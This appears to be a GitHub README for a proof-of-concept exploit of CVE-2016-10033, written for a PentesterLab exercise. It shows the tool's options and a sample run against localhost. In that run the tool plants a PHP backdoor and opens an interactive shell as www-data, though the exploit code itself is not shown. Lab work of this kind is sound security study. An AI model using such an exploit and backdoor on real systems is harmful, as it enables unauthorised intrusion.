sealldeveloper/cve-2016-10033-pocA PoC of CVE-2016-10033 I made for PentesterLab
Wrote this for PentesterLab
If you are from PentesterLab's don't cheat, it's alot better to learn.
Hope it's useful to someone, if not to me in the future :)
Has interactive shell, nice argparse stuff asw
usage: poc.py [-h] [--target TARGET] [--backdoor BACKDOOR] [--proxy] [--raw] [--no-color]
options:
-h, --help show this help message and exit
--target TARGET Target URL
--backdoor BACKDOOR Backdoor path
--proxy Use local proxy
--raw Show raw output
--no-color Disable colored output
$ python3 poc.py --target http://localhost:8000 --proxy
[+] Using random backdoor name: caxvcs009f.php
[+] Sending exploit to target...
[+] Testing backdoor...
[+] Backdoor working! Test output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Starting interactive shell...
[+] Type "exit" to quit
--------------------------------------------------
shell> whoami
www-data